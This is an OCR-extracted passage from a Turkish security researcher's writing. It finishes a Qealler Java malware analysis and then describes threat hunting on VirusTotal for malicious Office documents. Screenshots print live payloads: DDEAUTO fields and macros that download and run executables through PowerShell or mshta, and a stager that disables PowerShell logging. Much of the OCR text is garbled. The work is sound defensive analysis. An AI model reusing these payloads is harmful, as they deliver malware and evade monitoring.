https://www.dropbox.com/s/v9rk1yktt52lclz/Qealler-Unloaded.pdf?dl=0

£ CProgramData\Oracle\ava\javapathjava.exe
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=@ =

sy ¢

Source>

}. getLongoperatingsysten()));

letCodeSource() . getLocation() . getPath()));

v {
hostaddress =

catch (Exception ex) {
hostaddress = cd.2(3];

2((unew N(hostaddres=));

a((u)new af (systen. getPropert
a((u)new v(Locale. getDefault(
a((u)new 2G(File. istRoots()
a((u)new an((int) (((Operating
a((u)new aD(Runtine. getRuntind
2((u)new ai (GraphicsEnvironmed

63:2018"

330 a((unew 28());
a((unew V0);

Sira son olarak bu IP adresinin hangi sinif dosyasi icerisinden

cagrildigini bulmaya geldiginde de, Java hata ayiklama araci olan

jdb ile stepi ve dump komutlarindan faydalanarak qt314.CY

sinifina ulastim.

root@kali: ~/Desktop/malware

File Edit View Search Terminal Help

b -Xdebug -Djava.awt.head
i thirsted/Battakhin

breakpoint qt314.cd.run.
t after the class is loaded.

run_com/uncom

s/thirsted/Battakhin

Set uncaught java.lang.Throwable
set deferred uncaught java.lang.Throwable

VM Started: Set

Breakpoint hit:

ep completed:

ep completed:

Thread-1[1]

Step complet

de red b kpoint qt314.cd.run

"thread=Thread-1", qt314.cd.run(), line:

"thread=Thread-1", qt314.cd.run(), line=-1 bci=3

"thread=Thread-1", qt314.cd.run(), line=-1 bci=5

"thread=Thread-1", qt314.a.a(), line=-1 bci=0

Thread-1[1] step up


https://docs.oracle.com/javase/7/docs/technotes/tools/windows/jdb.html
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Applications « [ Terminal =

root@kali: ~/Desktop/malware e ® O
File Edit View Search Terminal Help

Thread-1[1] stepi

.;t-:-p completed: "thread=Thread-

Thread-1[1] epi

.:;tep completed: "thread=Thread- 4.cd.run(),
Thread-1[1] stepi

;tep completed: "thread=Thread- 4.cd. line=-
Thread-1[1] stepi

;tep completed: "thread=Thread- 4.cd. line=-
Thread-1[1] stepi

Step completed: "thread=Thread- 4.cd. line=-

Thread-1[1] Thread-1[1] stepi

>

: "thread=Thread-

1] dump a
.217.149.63"

Bu yazmin ileri seviye gizleme yontemi kullanan Java zararli
yazilimlarini analiz etmek isteyen giivenlik aragtirmacilarina yol
gosterecegine inanarak bir sonraki yazida goriismek dilegiyle
herkese giivenli giinler dilerim.

Not:
Bu yazi ayrica Pi Hediyem Var #16 oyununun ¢éziim yolunu da

icermektedir.


https://www.mertsarica.com/pi-hediyem-var-16/

7. VirusTotal ile

Tehdit Avi

Twitter’1 benim gibi ¢ogunlukla siber giivenlik ile ilgili haberleri,
siber giivenlik aragtirmacilarini takip etmek i¢in kullaniyorsaniz,
FireEye/Mandiant’in giivenlik arastirmacilarmndan Nick CARR'1n,
Daniel BOHANNON‘un veya Microsoft’tan John LAMBERT in
tweetlerine denk gelmis olabilirsiniz. Tweetlerinde kimi zaman
VirusTotal'da yaptiklar1 tehdit avinda elde ettikleri yeni zararh
yazilim 6rneklerini, yeni yontemleri paylastiklarini gorebilirsiniz.

Yillarca, VirusTotal hesabi olan esten, dosttan ilgimi ceken
zararll yazilim Orneklerini indirip bana gdndermelerini rica
ettikten sonra 2018 yilinin basinda Akbank Siber Giivenlik
Merkezi’'miz ic¢in kurumsal bir VirusTotal hesabi satin alarak
nihayet mutlu sona ulastim. Kurumsal hesap ile iz Pesinde baslhikli
blog yazimda belirttigim iizere siber suglularin izini siirebildiginiz
gibi tehdit avina c¢ikarak kurumunuza saldir1 hazirhiginda olan
siber saldirilardan haberdar olabildiginiz gibi siber suglularin
kullandig: taktik ve tekniklerden haberdar olabiliyorsunuz. Siber

suclular bir yana VirusTotal tizerinde bazen kendi kurumuna

91


https://www.fireeye.com/
https://twitter.com/ItsReallyNick/status/1069665649629253633
https://twitter.com/danielhbohannon
https://twitter.com/JohnLaTwC/status/1069653900473466880
https://www.virustotal.com/
https://www.mertsarica.com/iz-pesinde/
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sosyal mihendislik testi yapma hazirhiginda bulunan bir
calisandan, antiviriis atlatmaya caligan bir siber giivenlik
danigmanlik firmasinin sizma testi uzmaninin yiikledigi dosyalar1
da bulabiliyorsunuz.

VirusTotal’a  yiiklenen = dosyalarin  iyeler  arasinda
goriintiilenebildigi, indirilebildigi ¢ogunlukla unutulabiliyor. Bu
durumda da aslinda masum bir sekilde zararli yazilim tespiti adina
VirusTotal’a yiikledigimiz hassas bir dosya bir anda t¢iincii parti
kisiler tarafindan gorintiilenebiliyor. Ben de bu yazimda hem
VirusTotal izerinde tehdit avi yapmak isteyenlere yol gostermeye
hem de bilgi giivenligi farkindalig1 adina yukarida bahsettigim
noktalara dikkat ¢cekmeye karar verdim.

VirusTotal Intelligence ile tehdit avina ¢iktigimizda 50’den fazla
anahtar kelimeden faydalanabiliyoruz. Ornegin, VirusTotal’a
dosyay1 yiikleyen Tiirkiye’den (submitter:TR) olmus olsun,
Tirkce dilinde yazilmis olsun (lang:”turkish”), 10’dan fazla
antiviriis yazilimi tarafindan tespit edilmis olsun (positives:10),
dosya tiirti docx olsun (type:docx), dosyanin ilk yiiklenme tarihi
de 2018 y1l1 olsun (fs5:2018-01-01 T00:00:00+) dedigimizde hizlica
bu anahtar kelimelere uyan kayitlara ulasabiliyoruz. Benzer
aramay1 xls, doc uzantili dosyalar, powershell (tag:powershell) ve
makro iceren (tag:macros) dosyalar icin de yaparsak karsimiza
kisa siirede analiz edecek ¢ok sayida 6rnek cikiveriyor.

Ik kargilastigim ornekte art niyetli bir kisinin bir bankaya
sosyal mithendislik saldiris1 yapmak i¢in makro igeren dokiiman
olusturdugunu goérdiim. Makroyu oletools araci ve CyberChef
araclar ile analiz ettigimde de caligtirllan makronun Microsoft
Outlook programinda gonderilen e-postalarin bir kopyasini
Powershell yardimi ile sifresiz HTTP protokoli ile komuta
kontrol merkezine gonderdigini gérdiim. Dosyanin 6zelliklerinden
kimin olusturduguna baktigimda ve bunu VirusTotal'da
arattigimda (metadata) ise bu dosyasmin art niyetli bir kisi


https://www.virustotal.com/#/intelligence-overview
https://support.virustotal.com/hc/en-us/articles/360000347157-VT-Intelligence
https://www.virustotal.com/en/file/d2be6d278cd15a99f845643e9c1e66e117f9b8ec0f1886933f49217589e3377f/analysis/
https://github.com/decalage2/oletools/wiki
https://github.com/gchq/CyberChef

VirusTotal ile Tehdit Avi 93

tarafindan degil de kuvvetle muhtemel bankanin denetim ekibi
calisanlar1 tarafindan sosyal miihendislik testi gerceklestirmek
amactyla olusturulmus oldugunu 6grenmis oldum. ?
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formu aktifiestirebilirsin.
Sorgula

Insan Kaynaklan

Screent of 1 B B -—1 + %140
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Ciindowereysteradind s A =« ) |

Mert\Desktop\oletools—B.53.1%0letools>python olevha.py

Cekilici.doc
olcvha B.53.1 - http: /decalage.info/python/oletools
Flags Filenane

uBa MACRO ThisDocunent.cls
ile vilbasi_cekil </UBA,ThisDocunent’ Type

Opt ion Explic Microsoft Wor
PubLic -n-l-‘:lerath. strfileNane e String
Din EmailCount As Uar Text Document
Private Sub Dncunent,&)peno

Python File

objSelectedMail As Qutlook.Maillt Python File
obiConversation N Out lool Bonietanian
objMail As Outlook.Maillt Python File
objFolder fis HAPIFolder
ohjNS As Namespaci Python File
Din BnailCount s Dariant
Python File

Set objNS_ - GetMamespace" Python File
ot ohIeraen R G DoF auleFo 4o Co 1Fo LderSentaily
Python File
EmailCount = ohjFolder.Items.Gount i

Compiled Python ..

Python File

On Error GoTo Err Python File
Bot Hhibe e follil SRR ICKS TERS TEHERRACHUGEY
If Not ohjSelectedMail Is Nothing Then GoTo fhc Python File

ohjFolder.Itens.Sort “CreationTime”, True

On Error GoTo Er2 Python File
St objSclectedNatl SronBalAer Ibeiss TecCERRIICEuTE <1 - ;
1f Not ohjSelectedMail Is No Then GoTo Compiled Python ..

Err2: Python File
Set objSelectedMail = ohjFolder.ltems.ltem<EmailCount - 2
If Not objSelectedMail I5 Mothing Then GoTo Ahc Python File

nhe -

Set obiGonversation = objSelootedtail.Gotonversation Python File

If Mot <objConversation 1s Nothing> The:
Sl o13 Fout ket n WL SabueEsab
Fox Each objHail In ohjConversation.CetRootItems 2 tag

tFiloMane - objHail Subjoct
- Envir o!) b bt
Incappeeted shapase subject
BeiTaocto o iiatinng,
Replace{strFileName,

. Che3ay, I

ant

ing
dous\systend2\Windows" & Chr<8@) & Chr(i1i) & Chr(119
e85 8 e ci i 8 ChetLo1) B Bhec RS 8 Ol ioB & & Cf
)u~(11z) & clu~(111> & Checi1) & Chici0ly 8 Chirclid) & Checlls) & Cl|l~(1l4) & Ched|
101 1 - & Chr(46> & Che(161)
sten.Conver|

AnACSAJABIAGAAdgAGAFUACWBIAHTATYBhAGHA 1A GOAZQBUAH QA c LBC o Type
[AXAGUAbgB2ADoAUGB=AGUAC GBOAGEADGB 1A C=A JuR uAHQfe ABA) AU !
[BonHQA dABUADoALUAYAHCAdWB3ACAAZUERAH I AYQBUAH! uAHNAYQB B5ACAN ’ Microsoft Word
ByA GkALgB jAGEARGALAHUACABS AGBAYGBLKACAA, o QgB5AH
[B=ACAAPQAYAFSAULESAMAAAB]AGHALYBIAESA LYEGAGKALABIAFDAOGAGAF I AZQBHAGA Text Document
BERHOATZABLA G JAEGAGKADAR]AFARY GBI Gah KQAZACAAJIATnAGKALAB1AEUR byB JACARFGAGATS Ay e
[BSAHMAAAB1AGOA LyBUAGU Ae A BBACAARQBuA GHA buBkAGKAbgBn AFGAOgALA EcAZQBOAEUA byB jAGSAZA| fhom bl
CcAUQBUAEYALAN4ACCAHOAUA A ZABBAPMAAABYAGKAbaBACan JABNACIA bABIAET ne NN NN
GI ] AIABLAFMACQBzAHQAZQBACAARUBLAGKAZA
BpAGInZ Python File

Python File
Python File
Python File

TR YA aBoACIARABuACHAT AT anqncant o c IRN IS
ncm.mnlnsﬂndqnunnunvunynuknmmcmnmnmnmngncmnnmcunhunpnsmmnknmmngnv i
CANTABINCANdgBuNCanZ0n N INZOBz IHONTOBIANAN NBuRCONI AENTU oy B LIBLICRERE || Compled Prthon.
TQBLANGAS B0 Gl LAEQNCENG «BORCHALABDACSNbgBENCUboDNEIN o i
A ZamoA AL A ACORY GDBAGEA CahaT Ahont AGIATARNANY AeGR IACART gAH s
b ninmnznnhnumeungncm]gﬁgncumgnunmneangncmgnunmnennnnGknbgnmunnmm Python File

En(l Sub Python File

Proce: lul(lren(nbj(}nrﬂail As Outlook.Mailltem, ohjCurConversation As Oul Python File

k 1ok Cnnuu ation> Compiled Pyth,
ens As Outlook.Simplel tems Compued Bython =

Din objItem s Outlook.Hailltem Python File

Set objltems = objCurConversation.GetChildren¢ohjCurHaily Python File

1t ghjltens.Counc > O Th Python File
X Each ohilten In abjltens S

strFileMame = Environ¢“Usernane™ & V.txt"
Replace(strFileNane, Vs U3
Replace(strFileNane, " vy
ReplaceCstrFileName
ReplaceCstrFileNane vy

strFileName = ReplacedstrFileName. Chr{34>. % ™

strFilePath i sername> & "\Docunent:
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@ cindowsisyemscmd e R R - x|

Dim ohjltems As Outlook.Simpleltems
Dim ohjltem As Outlook.Mailltem

Set ohjltems = objCurConuersation.GetChildren{objCurMail>

If abjltems.Count > B Then
For Each ohjlten In objItens

strFileName = Environ{“Username"> &
strFileName = Replace{strFileNane,
strFileName = Replace{strFileName,
strFileName = Replace(strFileNane,
strFileName = Replace{strFileNane. > Type
strFileName = Replace(strFileName, Chr{34>, " " !

Microsoft W
strFilePath = Users\” & Environ<"Usernane™> & “\Documents\" & str|
Text Document
objlten.SaveAs strFilePath, olTXT Python File
hon Fil
'Process all children recursively Fythonfic
(Gall FrocessChildrendohjiten. ohjGurGonversation) Pythan File
Nex
g Python File
B Bl Python File
Python File 3
Deseription Python File
AutoExec Docunen Runs when the Word or Publisher Compiled Python .
document is opene: T
Suspicious ! Chr May attempt to obfuscate Jpeclflt LS
strings (use option —deohf t P
deobfuscate>
Suspicious | Shell May run an executable file or a system Python File
conman

Suspicious | Windows May enunerate application windows Cif Pythan File
combined with Shell.Application ohject) i
Suspicious ! Enuiren Hay read system enuironment variahles
Suspicious ! System May »un an executahle file or a system Pythan File
conmand_on a Mac Cif comhined with
Tibe.dylib> Pythen File
Suspicious | Hex Strings Hex—encoded strings were detected, may
be used to obfuscate strings <opti Pythan File
~decode to see all) s P
Suspicious Base64 Strings Basebd—encoded strings were detected.
may be used to ohfuscate strings ja tag
<option —-decode to see all>

iled Python ..

Last build: 3 days ago - simpl...

reape o e ow

From Base64
JABGAGKADABLAFAAYQBOAGEAT AACACAAJWBDADOAXABVAHMAZQBYAHMAXA

AnACs ATAB1AGAAdgAGAFUACWBLAHTATEBhAGBAZQArAC CAXABEAGBAYWB 1AGBAZQ
* A Za-20-9+/= BUAHQACWBCACCAKW

WVQBZAGUACEBOAGEADQBLACS AJWAUAHQARABBAC CAOWAZACQAVQ
Jw
AADOALWAVAHCAGWB 3ACAAZWBhAHT AYQBUAHQAZ QBUAHMAYQBLAGSAYQ
BSAG4AYQBrAGHAYQ
ByAGKALEEJAGBADQAVAHUACAB SAGBAYQBKACA ACABOAHAATWATACAAT AAKAGYASQ
BsAGUAQEESAHQAZO
BZACAAPQAGAF SAUWBSAHNAGABLAGOALEB I AESALEBGAGKADABLAF BAOGAGAF IAZQ
BhAGQAQQBSAGHAQE
BSAHQAZQBZACEATABGAGKADABLAFAAYQBOAGEAKQAT ACAA ABMAGKADAB 1AEUADE
BJACAAPQAGAF sAUW

ket g

.n.k.ay.nak.la.e
e.B.y.t.e.s.

A1.L.B.y.t.e.s.

:.G.e.t.E.n.c.0.d.

9
STEP o

Data format Auto Bake

.i.i.N.e.w.G.u.i.d.

aktivite20.docm isimli bagka bir 6rnege baktigimda da ilk olarak
yine art niyetli kisilerin bir bankaya gerceklestirdikleri sosyal
mithendislik saldirisinda kullandiklar: bir zararli dokiiman ile


https://www.virustotal.com/en/file/8f7d1d69c96a33386b869841bbf2e1c8d748c8c58f464283a8bb098a7ee781ec/analysis/
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karsilagtigimi diisiindiim. Ikna adina gayet basarili bir sekilde
kurgulanmig bu dokiimani analiz ettigimde i¢cinde Powershell’den
faydalanilan bir makro oldugunu gérdiim. Makro dosyasini analiz
ettigimde ise calistirildig1 anda Powershell’in betik engelleme ve
kayit altina alma ozelligini devre disi biraktigim1 gérdim. Bir
onceki 6rnekte oldugu gibi yine dosyanin 6zelliklerine baktigimda

bu defa bir siber giivenlik firmasinda danisman olarak c¢alisan bir

sizma testi uzmani tarafindan olusturulmusg oldugunu 6grendim. ?

C ¥ aktivite-20.docm - Word B - x

File Home  Inset  Design Layout  References  Mailings  Review Q Tellmew signin £ Share

[ .] D D’@ [=] outline Ruler Q [‘3) [E OnePage L-E‘I E D EEJ |:|
= praft Gridlines M gF Muttiple Pages z
Read | Print Web Zoom 100% New Arrange Split Switch  Macros
Mode Layout Layout | Navigation Pane B Page Width Window  All on | Windows~ %
Views Show Zoom Window Macros S
1 SECURITY WARNING Macros have been disabled. Enable Content x
@) MISSING PROOFING TOOLS. This document contains text in Turkish which sn't being proofed Never Show Again x
Navigation Ak
Search document PR
Headings  Pages  Results
Create an interactive outline of your istanbul, 07 {ggiran. 2018
document.
It's a great way to keep track of where you are Dokiimanin dogru sekilde agilmast igin Macro izin vermeni;
or quickly move your content around,
To get started, go to the Home tab and apply Hatali Girig Kaydi
Heading styles to the headings in your
document.
Yeni bir cihaz ile | Bank hesabiniza bagland giniz tespit edilmitir, bu cihaz size ait degil ise asagidaki formu
doldurarak support@ com.tr adresine gandermeniz gerekmektedir. Aksi durumda hesabiniz kali olarak

kullamma kapstlacaktir

bogeiorn 4swords [ Turksn & B - 1 + s


https://blogs.technet.microsoft.com/ashleymcglone/2017/03/29/practical-powershell-security-enable-auditing-and-logging-with-dsc/
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Fle Edit View Inset Format Debug Run Tools Add-ns Window Help
e & - | =Y, yon o[RS EFE 5@ nzcon B
lProject - Project. x| [AWivite-20 = Newhacros (Code]

¢ [general ~  Auto_Open

Sub Auto_Cpen ()
GDiU

Normal
E1- &4 Project (Aktivite-20)
(2] Microsoft Word Objects || End Sub

£1-5 Modules
i LBl NenMacros Sub AutoOpen ()
(23 References GDiT
End sub

Sub Document_Open ()
GDiU
End Sub

G 0 v
= Public Function GDiU() As Variant
s K| Dim sbr Ae String

NewMacros Module - "powershell -moP -sta -w 1 -enc SQBGACGAJABQAFMAVG"

Aphabetic |categorized | Zbf + MBIAHT UAGEAQQEMAGUAL TacWBI"

+ "AESABGAUAFOAQQEXAGEAUGAGACOARWEIAC "
5] NewMacros i GASAF: UwBZAGU: "
+ "RQBUAFQAeQBWAEU] 4ATQERAGAAYQ"
+ "BRAGUABQR1 EAAQROAGBABY; gEUn
+ "AHQRAQ) 4ATGBHAED; 1aGn
+ "GAJWEIAGEAYWBoAGUAZABHAHT! QB3 RHIA"
+ "UWB1AHQ v c n
+ "BiACWAZQB3ACWAUWBOAGE JABE"
i x "
+ WEATARVAGUAKARKAE4AVQS: co "
+ TAJWAZAC
i 0 UwBIAHTA20BW"
+ "AHQAQQARAC "
o BiAGWAZQET. C "
+ "bwB3AGSAT:
+ "BOACCAUWS)AHIAaQBWAHQAQGARAC
+ "AGcAaQ) B1AGWAZQET]
+ "ARAABCAGWAbWE;AGSASQ wB: ¥

TF (SPSVersionTanle FEVersTon MATR 5a3)
2t

SGPP=[REF] . ASsambLY GETTYDE (" Systen. Management At e & 0
1F (s0er)
o
$SGPO-SGPF . GatVALDS (SWULL) ¢
2 TE(SORCL Scripta " LociTgaing' 1)
L] «
5 soecr’
10 scecl
1 svat-
12 SR D (e y
1 SvAL.AOD( ko
1 Sopclsre
15 ) mise (
1 (sexiemmiock) ast e = g -

FUic,Sraric) ServALUS (SNuLL,StruE) ) ;

)
[KE£] . ASSENBLY . GotTypa (' Sy om. tanagenent  Aucomation. AnsiUsi 1o7) 17(5_) (S _.GETFIE1A( anei fni oo

SysTEN et WebCITEAT

[ER——
swe. 2

S zroxy
SSaript:eroxy - Suc.Proxy;
K- (S¥at B, TEXE . EnCORiNg] £ AASCIT . GETRYbem (*) _a (316 (4<h> Tiecr ) 120506001 ) £

s

y.crzdentiaze - (sxon

D, SK-SARGS 1§57 27510, 250 | B(S0=(S+5SLS_1+SKIS_VSK.counz]) 4255
$505_1,551531-55(531, 5515 11 :
SDI3(ST=($To1) 2 Siim (SHISS($T1) 325
SSIST1, S8 [SH1-SSI8H], $818T1;
S_-PXORSSL(SSISI1+55[SH1) 2" 1)

161108108000

B cockien, B RT O KUZ KR, £Qva=") ;
S0 Shata-We.bounLosdbat (SeaRsSE) £
5 Siv-SpATAls..o];

40 Sdara-spatal:..Spata.lensem ;

45 [30tnichar (1] (6 SR SoATA (5EveSH)) 175
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C O @ mps/wewsinstotlcom = s * omesade @ :

¢

&m

VirasToal Premium Services

ssssssss

Yukaridaki iki 6rnege bakarak sizma testi, sosyal mithendislik testi
amaciyla VirusTotal’a yiklenen bu tir dosyalarin art niyetli
kisilere senaryo ve yontem konusunda ipucu verecebilecegini
unutmamamiz gerekiyor. Yeri gelmisken kirmizi takim caligmasi
oncesi VirusTotal’a yiiklenen bir dosyanin da bu c¢aligmanin
basartya ulagsmasimni fazlasiyla zorlastiracagimmi da  yine
unutmamamiz gerekiyor.

zarina cv.docx isimli biger bir 6rnege baktigimda ise bu defa
stipheli bir 6zge¢mis dosyas: ile kargilagtim. Ozellikle kurumsal
ortamlarda elden ele gezen Ozgecmisler, zararli kod icerdigi
taktirde insan kaynaklari calisanlarina Linkedin ve e-posta
tizerinden gonderildiginde, olmasi gereken giivenlik kontrolleri ve
sikilastirmalar yapilmadiglr durumlarda kurumun hacklenmesine
yol acabilmektedir. zarina cv.docx dosyasim1 7-Zip araci ile
actiktan sonra word klasorii icinde yer alan document.xml
dosyasim1 analiz ettigimde icine itinayla yerlestirilmis bir
DDEAUTO komutu oldugunu goérdim. DDEAUTO komutu,
mediafire.com adresinden final.exe isimli bir dosyay:1 indirip
TEMP klasoriinde calistirmaktadir. final.exe isimli dosya silindigi
icin her ne kadar ulagamamig olsam da aym kiginin VirusTotal’a


https://www.virustotal.com/en/file/a337da0d55e3f9181bfaf0171aa6dfaa943768120142c4dec9848a48e9318fa1/analysis/
https://www.virustotal.com/en/file/a337da0d55e3f9181bfaf0171aa6dfaa943768120142c4dec9848a48e9318fa1/analysis/
https://www.7-zip.org/
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mediafire yerine i¢ ip adresi iceren benzer bir dosya yiikleyip
Antiviriis kontrolii yapmaya c¢alistigini net olarak gorebildim. Bu
ornekten yola c¢ikarak ozellikle insan kaynaklar1 birimlerinin
6zgecmis dosyalarii adaylardan alirlarken ¢ok dikkatli olmalar:

gerektiginin de altini ¢izmis olayim.

31 s X+ - e x

DETECTION  DETALS  RELATONS  GONTENT  SUBMISSIONS  COMMUNITY @

stRIes Hex PREVIEW.

Zarina Tsolaeva

Kisisel Bilgiler

Iletisim Bilgileri

dOLe M:

DETECTION  DETALS  RELATONS  CONTENT  SUBMISSIONS  COMMUNITY @

& wrrer B
Ad Aware A T E Gen. Arcabit AT
. A weownesore e A
carauies A - Ao
Cyren A ¥ Deieb. A
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eseraon: Av secu A
ot coo A
Tearus. AT A
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anon 60 Av g A
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https://www.virustotal.com/en/file/7edb8623e00fa63e0647add6788e328e3227dd855bc5784960be0c4d51285c2d/analysis/
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File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window
cHHEIESI4BDaeiny x| BRIEIEERo® B EHER| &

S documert n | Sl Becunertsai |

HoD1ler</w:CT></w:r><w!proofErr u:type="spellEnd"/><w:T :rsidRPr="00B8A487"><w: LPI><W!D/><W!W Wival="105"/><w:sz
wival="19"/></w: IPry<witab/></wiT><w:proofErr witype="spellStart"/><w: r><wi rPry< 2N /3o
105" /><w >Tiyatro</w:T></w:r><w:proofErr w:type="spellEnd"/></w:p><w:p w:rsidl
"OOE117A1" w:rsidRDefault="0024013E" W:rsidP="0OE117A1"><w:pPr><u:pStyle w:val="HTMLncedenBiimlendirilmin/><w:shd
wival="clear” w:color="auto" w:fill="FFFFFF"/></w:pPr><w:r><w:lastRend ><u:it xml:ap, P >
</WTIC/WITIGHIT W ="DOE117A1"><w: fldChar w:£ldCh begin"/></w:T>Cw:r w:rsidR="00E117A1" w:rsidRP
"OOE117AL">Curt rPr>< 1241 /5¢/v: TPr><ut instrText xml:spac:
'preserve’> DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exs -NoP -sta -Nonl -W Hidden $e—(New-Object
System.Net.WebClient) .</w: instrTexc></wir><w:r "OOE117A1"><w: instrText xml:space=
NpreserTvens </w:instrText</w:T><uir wirsidR="00E117A1M><w:insTrText ml:space='preserve">DownloadFile (!
/downloadl078.mediafire . com/WwE2imd6cEgvg/gontesiodncanid/final exe’ , 'YTEMPY\final . exe ') ;
r51dR-"OOE117AT 510RDefault="00E117AL" w:r=idP—"00E117A1"><w:pProcw:pStyle
"HTMLnoedenBi imlendirilmi"/><w: shd w:val="clear" W:COLOr="auto” Ww:fill="FFFFFE"/></w:pPr><W: I><w:instriext>
SEaTt-Process "STEMPNEINALIEXe"</w: instrText></Wwir></Wib><wiD WirsidR="00E117AL" W:rsidRPr="0024013E"
wirsidRDefault="00B117A1" w:r3idP="00E117A1"><w:pPro<w:pStyle wival="HTMLncedenBiimlendirilmi"/><w:shd wival=
"clear” w:color="auto” w: FFFFFF"/><w: rBr><w:color w:ival="222222"/><W:sz w:ival="24"/><w:szCs wival="24"/>
</ TPT></ W PPI><W  T><wt instrTexT>ENTERS /W instrTeXT></w: r><wi r><wi £1dChar wifldCharType="begin"/>
</WiTy<wi Ty <ws instrText xmlispace="preserve"> </wiinstrText></wsr><w:r wirsidRPr="0024013B"><w:rPri<w:color wival=
2322327 /><wisz Wival="24"/><w:SZCs Wwival="24"/></w: rBr><w:instrTexc>{ DDEAUTO c:\\Windows\\System32\\cmd.exe "/Kk
powershell.exe —NoP -sta -NonI -W Hidden $e—(New-Object System.Net.WebClient).DownloadString(
</w: instrTexty</w: T¥<wiL iiir3idRPr="00D74280"><w: rPr><wicolor wiyal="222222"/><wisz 1iyal="24"/><w:szCs wival="24"
/></w: TPr><w: instrText>'http: //download1078 .mediafire . com/wt2jmd6ctgvg/gontedjodncxnjd/final . exe
"0024013E"><W: IPT><W:COLOT WiVal="222222"/><WiSZ Wival="24"
><wip wirsidR="00E117A1"
GudelMetni "/ ><uw: rBr><: sz

¥, PSTEMPE\Tinal.exe’c/w: instrTeXt></WiT><W ! L Wiz31dRRT=
Ve

:152Cs wival="24"/3</
S1GRPr="00E117A1" w;
wival=n20"/></u
</ insErTeRty</w: I¥<wi L3<w i TPIy<wisz wival="20"/></w:rPry<w:fldChar wifldCh
</ T><w: T>Cur: CPI><w b/ ><w : NOPTOOT/><w: 82 wival="20"/>< /w: rPr><u: 1n:l:rTEx\:)lBek1enmeyax Formiil Sonu
</w:InsTrText></w:T>Cw:r><w: rPr><wisz wival="20"/></w: rPr><u: fldChar w:fldCharType="end"/></w:I><u:r
"O0E117A1"y<w: tPry<wiGolor wival="222222"/5<wisz W 4" /><wi 5268 wival="24"/></wi rPry<w:instrText>"

</w:instrText></w:I></w:p><w:p w:rsidR="00E117A1" w:rsidRDefaulf 0024013E"><w:pPr><w:pStyle
wival="HTMLncedenBiimlendirilmi"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:pPr><w:r><w:instriext
Hml:space="preserve’> </w:instrTexty</wiTd<w:rd<wifldChar wifldCharTyp /¥< /i ry<uibookmarkstart wiid="o"

GoBack"/><w:bookmarkEnd w:id="0"/></w:p>< 0071316D" w:rsidRPr="00B84487" w:rsidRDefault:

10071316D"> cur pPr><utpSTyle uival="Gudeetni "/ ><u: TRE>< 120 /3¢ /Wt TPT>< /W  PPT></ W p><wt SECTPY wirsid]
"0071316D" w:rsidRPY: 7" wirai 487"><w:ipgSz Wiw="11900" wih="16840"/><w:pgMar witop="993" wiright

Pr><wiinstrTexty) jpowsrshell —s $e "}</wiinstrTexty</wir</

s1dRPr=

="560" w:botto 0" w:left="0" w:header="708" w:footer="708" w:gutter="0"/><w:cols w:space="708"/>
</t sectPr>c/wbody></u: documenc>
eXtensible Markup Language file length: 38174 lines:2 Ln:2 Col:35471 Sel:0|0 Windows (CRLF)  UTF-8 NS

File Edit Search View Encoding language Settings Tools Maco Run Plugins Window
L T L e R IR =] Er@hoz 00 BE] %

[ document ool £ H document xl E3 |

<2xml versio

"1.0" encoding="UTF-8" standalone="yes"?>

<widocument zmlns:wpc="http://schemas.microsoft.com/office/word/2010, oC: " xmlns
htte://schenas.opensnl formats .ora/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office”
"http: //schemas . opersan] formats . org/officeD 2006/relationships” xmlns

http://schemas . openxmlformats . ora/officsDocument/2006/math” Xmlns:v="urn:schemas-microsoft-com: vul" xmlnsiwpli="
‘schemas .mi crosoft. con/of fice /word/2010, ingDrawing" xmlns:wp
'schemas . openxml formats . ora/drawingml /2006 ingDrawing" xmlns:wl
:schemas-microsofi-com:office:werd" xmlns:w="http://schemas.openxmlformats.orq ingml/2006/main"
="http;: //schemas .microsoft. com/office/word/2010/wordnl" zxm1
rosoft.con/orfice/word/2010 ingGroup" xm
TOSOft.com/office/word/2010, ingInk" xmlng
http: //schemas .microsoft.com/office/word/2006/wordml" xmlns:wps="
http://schemas.microsoft.com/office/word/2010, ingShape" mc:Ignorable="wld wpld"><w:body><w:p w:
"006E7123" "004B5990" ><w: pPr><w: FPr><w: lang "te-TRN/>

ang wival="tr-TR"/></w: rPr><w:fldChar
tr—TR"/></w: TPT><

nstrText xml:spac

azp :
€:\\Programs\\Microsoft\\0ffice\\MSword. exe\\..\\..\\..\\. .\\windows\\system32\\mshta.exe "http://192.168.
</w:instrText></w: r><w:bookmarkStart w:id="0" w:name: Back"/><w:bookmarkEnd w 0"/><w:r w:rsidRPr="004B5950"
><wtrPraculang wival="tr-TR"/></wirPr><ut instrText>162.129: 8080 /UAXAaJPN"</W: 109 LTERT>C/W! I>C0t r>€ut rPr><rt Lan
ET-TR"/></ Wi YPYY<Ut

/></w:rPr><u:t>|Beklenmeyen Forme/w:t><. T
NEE_TRY />€/W1 EPE>-Crt T30/ W T3>/ Wt T>-Crt £t EBI><Ct b/ > t NOPTO0L/ ><wt lang wival=
</WITI</WIT><A T TPY><Wilang Wival="tr-TR"/></w:rPr><w:£1dChar w:fldChar: "and”/></w r></w D><wisectPr wirsidl
"006E7123" w 004B5990"><w:pgSz wiw="11906" w:h="16838"/><w:poMar w:top="1134" w
eft="1701" w:header=n708" w:footer=n708" w:gutter : : 360"/>
</t seetPra</uiboay></ 1 Gocunant>

tr-TR"/></w:rPr>cw:t>l Sonm

n113an

eXtensible Markup Language file length:2.572 lines: 2 Ln:1 Col:1 Sel:0]0 Windows (CRLF)  UTF-8 INS
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MmO @ :

0@

Son olarak TEMMUZ MAAS.xIsm isimli Office dosyas: dikkatimi
cekti. Dosyanin icinde yer alan makro dosyasini oletools araci
ile analiz ettigimde, http://xfl[.]mooo.com web adresinden
client.exe isimli bir dosyay: indirip ardindan bunu TEMP
klasoriine cachel.exe adi altinda kaydettikten sonra
calisgtinnyordu. TEMMUZ MAASxlsm dosyasinin icerigi sahte
olmayacak kadar gercege benziyordu. Hem VirusTotal tizerinde
hem de retrohunt ile http://xfl[.]mooo.com web adresi ile iligkili
dosyalar1 aradigimda ¢ok sayida birbiri ile ilgisi olmayan dosya
oldugunu goérdiim. Kimi dosyalar bir kuruma o6zel olarak
olusturulmus talimat dosyalariydi kimileri ise bir iriine ait
kullanma kilavuzuydu. Gergekten kuruma 6zel olan bu dosyalara
bir sekilde ulasip makro yerlestiren birileri mi vard: yoksa art
niyetli kigiler derslerini iyi ¢aligip bu kadar gercek¢i makro iceren
